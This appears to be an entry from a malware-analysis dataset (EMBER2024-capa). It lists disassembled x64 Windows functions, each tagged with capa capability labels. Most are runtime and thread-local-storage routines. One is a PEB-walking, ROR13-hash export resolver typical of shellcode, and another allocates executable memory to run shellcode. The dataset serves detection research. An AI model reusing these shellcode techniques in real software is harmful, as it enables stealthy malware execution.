joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001ea50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get memory capacity

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 0xb0
mov rax, qword [0x14002a010]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rax, qword [rcx + 8]
mov rbx, rcx
mov r12, r9
mov qword [rsp + 0x30], r9
mov r15d, r8d
mov qword [rsp + 0xa8], r14
mov rbp, rdx
mov r13b, 1
mov ecx, dword [rax + 0x10]
mov esi, dword [rax + 0xc]
sar r12, cl
and esi, r9d
mov dword [rsp + 0x50], 0x40
nop dword [rax + rax]
mov rax, qword [rbx + 8]
cmp r12, qword [rax + 0x18]
jb 0x14001eacc
movsxd rdx, r15d
mov rcx, rbx
add rdx, r9
call fcn.14001e950
mov rax, qword [rbx + 8]
mov eax, dword [rax + 8]
lea edi, [r15 + rsi]
cmp edi, eax
mov rcx, rbp
cmovge edi, eax
sub edi, esi
mov edx, edi
call qword [0x14002aad8]
movzx edx, al
mov rax, qword [rbx + 8]
mov rcx, qword [rax + 0x20]
mov rcx, qword [rcx + r12*8]
mov qword [rsp + 0x38], rcx
test rcx, rcx
je 0x14001eba4
movsxd r14, esi
test dl, dl
je 0x14001eb1c
movsxd r8, edi
add rcx, r14
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14001ec32
mov edx, esi
call qword [0x14002aad8]
test al, al
jne 0x14001eb8d
mov rax, qword [rbx + 8]
movsxd rcx, edi
add rcx, r14
add rcx, qword [rsp + 0x38]
mov edx, dword [rax + 8]
sub edx, edi
sub edx, esi
call qword [0x14002aad8]
test al, al
jne 0x14001eb8d
xor esi, esi
lea r8, [rsp + 0x40]
mov r9d, 0x8000
mov qword [rsp + 0x40], rsi
lea rdx, [rsp + 0x38]
lea rcx, [rsi - 1]
call qword [sym.imp.ntdll.dll_NtFreeVirtualMemory]
mov rax, qword [rbx + 8]
mov rcx, qword [rax + 0x20]
mov qword [rcx + r12*8], rsi
mov rax, qword [rbx + 8]
mov rcx, qword [rax + 0x28]
mov rax, qword [rbx + 8]
dec rcx
mov qword [rax + 0x28], rcx
jmp 0x14001ec32
mov rcx, qword [rsp + 0x38]
xor edx, edx
add rcx, r14
movsxd r8, edi
call sub.VCRUNTIME140.dll_memset
jmp 0x14001ec32
test dl, dl
je 0x14001ec32
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x70], 0x6400000
mov rcx, qword [rbx + 8]
movsxd rax, dword [rcx + 8]
mov qword [rsp + 0x40], rax
jb 0x14001ec2f
mov rax, qword [rcx + 0x20]
lea r9, [rsp + 0x40]
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rax + r12*8]
lea rcx, [r8 - 1]
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
jne 0x14001ec2f
mov rax, qword [rbx + 8]
movsxd rdx, esi
movsxd r8, edi
mov rcx, qword [rax + 0x20]
mov rcx, qword [rcx + r12*8]
add rcx, rdx
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbx + 8]
mov rcx, qword [rax + 0x28]
mov rax, qword [rbx + 8]
inc rcx
mov qword [rax + 0x28], rcx
jmp 0x14001ec32
xor r13b, r13b
mov r9, qword [rsp + 0x30]
xor esi, esi
movsxd rcx, edi
inc r12
add rbp, rcx
sub r15d, edi
test r15d, r15d
jg 0x14001eab0
mov r14, qword [rsp + 0xa8]
movzx eax, r13b
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14001ef00
add rsp, 0xb0
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rcx
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140080bf8
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rdi, rdx
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_memory_l1_1_0.dll_VirtualQuery]
nop dword [rax + rax]
test rax, rax
jne 0x140080c2c
lea ecx, [rax + 0x19]
int 0x29
test byte [rsp + 0x44], 0x44
je 0x140080c8b
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_core_sysinfo_l1_1_0.dll_GetSystemInfo]
nop dword [rax + rax]
mov r9d, dword [rsp + 0x54]
xor edx, edx
mov r8d, r9d
neg r8
and r8, rbx
lea ecx, [r9 - 1]
mov eax, ecx
and ecx, ebx
and eax, edi
add eax, ecx
dec rax
add rax, r9
div r9
xor edx, edx
mov rcx, rax
mov rax, rdi
div r9
add rcx, rax
mov eax, ecx
test ecx, ecx
je 0x140080c8b
lock or dword [r8], 0
add r8, r9
sub rax, 1
jne 0x140080c7d
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret

Function at 0x140080ca4
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
movsxd r8, dword [0x14000003c]
lea rdi, [0x140000000]
add r8, rdi
mov rsi, rdx
mov ebp, ecx
cmp dword [r8 + 0x84], 0xd
jbe 0x140080d92
mov r9d, dword [r8 + 0xf0]
test r9d, r9d
je 0x140080d92
movzx eax, word [r8 + 0x14]
lea rcx, [r8 + 0x18]
mov r10d, dword [r9 + rdi + 0xc]
add rcx, rax
movzx r11d, word [r8 + 6]
xor r9d, r9d
test r11d, r11d
je 0x140080d2b
mov r8d, dword [rcx + 0xc]
cmp r10d, r8d
jb 0x140080d1f
mov edx, dword [rcx + 8]
lea eax, [rdx + r8]
cmp r10d, eax
jb 0x140080d64
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140080d0a
mov eax, dword [rsp + 0x40]
xor ebx, ebx
mov edx, dword [rsp + 0x40]
test rbx, rbx
je 0x140080d92
cmp dword [0x1400cf820], 0
jne 0x140080d6d
mov dword [0x1400cf820], 1
test eax, eax
js 0x140080d58
mov ecx, 0x19
int 0x29
mov rcx, rbx
mov edi, edx
call fcn.140080bf8
jmp 0x140080d6f
mov eax, dword [rcx + 0x24]
lea rbx, [rdi + r8]
jmp 0x140080d35
mov edi, edx
mov r9, rsi
mov r8d, ebp
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_memory_l1_1_0.dll_VirtualProtect]
nop dword [rax + rax]
test eax, eax
jne 0x140080d98
lea ecx, [rax + 0x19]
int 0x29
jmp 0x140080d98
mov dword [rsi], 4
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14000a9c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140014880
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140014880
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000aa30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e50b4]
test esi, esi
mov rbx, rcx
jle 0x14000ab60
mov rax, qword [0x1400e50b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000aa7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000ab05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000aa60
mov rcx, rbx
call fcn.14000b480
test rax, rax
mov rdi, rax
je 0x14000ab82
mov rax, qword [0x1400e50b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000b5c0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e50b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000ab67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000aafe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000ab10
add dword [0x1400e50b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1400e50b8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000aafe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000a9c0
nop dword [rax]
xor esi, esi
jmp 0x14000aa88
mov rax, qword [0x1400e50b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.14000a9c0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.14000a9c0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000b0f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e5120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e5100]
test rbx, rbx
je 0x14000b14c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000b143
test rsi, rsi
je 0x14000b143
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000b128
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000b480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bf460]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b4a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b4a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b4a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000b4fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14000b4f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b4a0
add rax, 0x28
cmp rax, r9
jne 0x14000b4e0
xor eax, eax
ret

Function at 0x14000b500
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bf460]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000b51f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b528
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b51f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000b5c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bf460]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000b5df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000b5e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140016de0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
mov qword [rsp + 0x20], rax
movabs rax, 0x7520676e696e6165
mov qword [rsp + 0x28], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x30], rax
movabs rax, 0x20726f6620737965
mov qword [rsp + 0x38], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x87], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x140016eea
lea rcx, [rsp + 0x20]
mov eax, 0x28
jmp 0x140016ec2
add rax, 1
cmp rax, 0x6b
je 0x140016edf
cmp byte [rcx + rax], 0
jne 0x140016eb8
cmp eax, 0x6a
movsxd rdx, eax
je 0x140016edf
add eax, 1
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
lea rcx, [rsp + 0x20]
mov eax, 0x28
mov edx, 0x27
jmp 0x140016ed3
Function at 0x140017260
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x1400e5d40], 1
je 0x1400172d8
lea rdi, [0x1400e5d40]
mov rcx, rdi
call fcn.140016b60
lea rbp, [rax + 8]
mov rbx, rax
mov rcx, rbp
call fcn.140016470
mov esi, dword [0x1400e5d40]
test esi, esi
jne 0x1400172e8
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x1400b6158], eax
je 0x1400b56d6
mov dword [0x1400e5d40], 1
mov rcx, rbp
call fcn.140016760
test rbx, rbx
je 0x1400172d8
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.140016f00
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp esi, 1
je 0x1400172b8
mov ecx, 2
call qword [fcn.140014880]
mov r9d, esi
mov r8, rdi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sub.msvcrt.dll_fprintf
jmp 0x1400172b8
call sub.msvcrt.dll_abort
nop

Function at 0x140017310
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call fcn.140017010
cmp qword [0x1400e8048], 0
mov rbx, rax
je 0x140017428
test rax, rax
je 0x140017428
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.140016a60
cmp eax, 1
je 0x140017436
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x28], 0
lea r9, [rbx + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je fcn.1400b56dc
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x1400b6158]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14001743c
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.140016de0
nop
jmp fcn.1400b56dc

Function at 0x140017450
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140017470
add rsp, 0x28
ret
add rsp, 0x28
jmp fcn.140017310
Function at 0x140017be0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov eax, dword [rcx]
test rdx, rdx
mov rbx, rcx
mov rsi, rdx
je 0x140017d08
cmp eax, 1
je 0x140017c3b
call fcn.140016b60
lea rbp, [rax + 8]
mov rdi, rax
mov rcx, rbp
call fcn.140016470
mov r12d, dword [rbx]
test r12d, r12d
je 0x140017c50
cmp r12d, 1
jne 0x140017ce0
mov rcx, rbp
call fcn.140016760
test rdi, rdi
je 0x140017c3b
mov rcx, rdi
call fcn.140016f00
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rax, [0x140016fe0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.140017260
mov ecx, dword [0x1400b6158]
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call r12
test rax, rax
je 0x140017d48
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
lock or qword [rsp], 0
call fcn.140017260
mov ecx, dword [0x1400b6158]
call r12
test rax, rax
je 0x140017d30
lea rdx, [rsp + 0x20]
mov qword [rax + 0x18], rdx
lock or qword [rsp], 0
call rsi
call fcn.140017260
mov ecx, dword [0x1400b6158]
call r12
test rax, rax
je 0x140017d20
mov rdx, qword [rsp + 0x30]
mov qword [rax + 0x18], rdx
mov dword [rbx], 1
jmp 0x140017c26
mov ecx, 2
call qword [fcn.140014880]
mov r9d, r12d
mov r8, rbx
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sub.msvcrt.dll_fprintf
jmp 0x140017c26
mov eax, 0x16
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.140017310
test rax, rax
jne 0x140017cc9
jmp 0x1400b56f5
call fcn.140017310
test rax, rax
jne 0x140017ca5
jmp 0x1400b570e
call fcn.140017310
test rax, rax
jne 0x140017c7f
jmp 0x1400b5704
mov rax, qword [rsp + 0x30]
mov qword [0], rax
ud2
mov rax, qword [pe_dos_header]
ud2
lea rax, [rsp + 0x20]
mov qword [0], rax
ud2

Function at 0x140017fd0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov esi, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x140018048
lea rbp, [rbx + 0x68]
xor r12d, r12d
mov rcx, rbp
call fcn.140016a70
cmp esi, dword [rbx + 0x48]
jae 0x140018023
mov rax, qword [rbx + 0x58]
cmp byte [rax + rsi], 0
je 0x140018023
mov rax, qword [rbx + 0x50]
mov r12, qword [rax + rsi*8]
mov rcx, rbp
call fcn.140016ab0
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.140017310
mov rbx, rax
jmp 0x140017ffd
Function at 0x140018060
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov esi, ecx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x140018170
lea r14, [rbx + 0x68]
mov rcx, r14
call fcn.140016a70
cmp esi, dword [rbx + 0x48]
jae 0x1400180f0
mov rdi, qword [rbx + 0x50]
mov qword [rdi + rsi*8], r12
mov rax, qword [rbx + 0x58]
mov rcx, r14
mov byte [rax + rsi], 1
call fcn.140016ab0
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rbx + 0x50]
lea r15d, [rsi + 1]
movsxd r13, r15d
lea rdx, [r13*8]
call sub.msvcrt.dll_realloc
test rax, rax
mov rdi, rax
je 0x14001817d
mov rcx, qword [rbx + 0x58]
mov rdx, r13
movq xmm6, rdi
call sub.msvcrt.dll_realloc
movq xmm0, rax
test rax, rax
mov r13, rax
punpcklqdq xmm6, xmm0
je 0x14001817d
mov eax, dword [rbx + 0x48]
mov edx, r15d
lea rcx, [rdi + rax*8]
sub edx, eax
lea r8, [rdx*8]
xor edx, edx
call sub.msvcrt.dll_memset
mov edx, dword [rbx + 0x48]
mov r8d, r15d
lea rcx, [r13 + rdx]
sub r8d, edx
xor edx, edx
call sub.msvcrt.dll_memset
movaps xmmword [rbx + 0x50], xmm6
mov dword [rbx + 0x48], r15d
jmp 0x1400180b4
call fcn.140017310
mov rbx, rax
jmp 0x14001809f
mov rcx, r14
call fcn.140016ab0
mov eax, 0xc
jmp 0x1400180d2

Function at 0x140018200
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140018228
mov rax, qword [rax + 0x30]
add rsp, 0x28
ret
call fcn.140017310
test rax, rax
jne 0x14001821a
add rsp, 0x28
ret

Function at 0x140018290
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400182b8
add rax, 0x18
add rsp, 0x28
ret
call fcn.140017310
test rax, rax
jne 0x1400182aa
jmp 0x1400182ae

Function at 0x1400183d0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov eax, dword [0x1400e5d48]
test eax, eax
jne 0x1400183e8
xor eax, eax
add rsp, 0x28
ret
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140018418
mov edx, dword [rax + 0x20]
test edx, edx
jg 0x1400183de
test byte [rax + 0x40], 3
je 0x1400183de
mov eax, dword [rax + 0x44]
and eax, 1
jmp 0x1400183e0
call fcn.140017310
test rax, rax
jne 0x1400183fe
jmp 0x1400183de
Function at 0x140018430
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140018470
test ebx, ebx
jle 0x140018460
lock add dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
lock sub dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
call fcn.140017310
test rax, rax
jne 0x14001844d
add rsp, 0x20
pop rbx
ret

Function at 0x140018560
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x1400185d8
test byte [rbx + 0x40], 0xc
jne 0x14001858f
mov eax, dword [0x1400e5d48]
test eax, eax
jne 0x1400185a0
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.140016470
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x1400185c3
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x1400185c3
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x1400185ec
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140016760
call fcn.140017310
test rax, rax
mov rbx, rax
jne 0x14001857f
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, qword [rbx + 0x30]
and eax, 0xfffffff3
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001860a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.140016760
call fcn.140018480
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x140018690
call fcn.140016230
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x1400186c8
call fcn.140017260
mov ecx, dword [0x1400b6158]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x140018720
test esi, esi
je 0x1400186a6
call fcn.140018560
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140018700
mov edx, edi
call fcn.1400162e0
call fcn.140018560
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140017260
mov ecx, dword [0x1400b6158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140018710
call fcn.140018560
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140018560
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140017260
mov ecx, dword [0x1400b6158]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
jne 0x140018665
call fcn.140017310
mov rbx, rax
jmp 0x140018665
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001867e
call fcn.140017310
jmp 0x1400186a6
call fcn.140017310
mov rbx, rax
jmp 0x140018661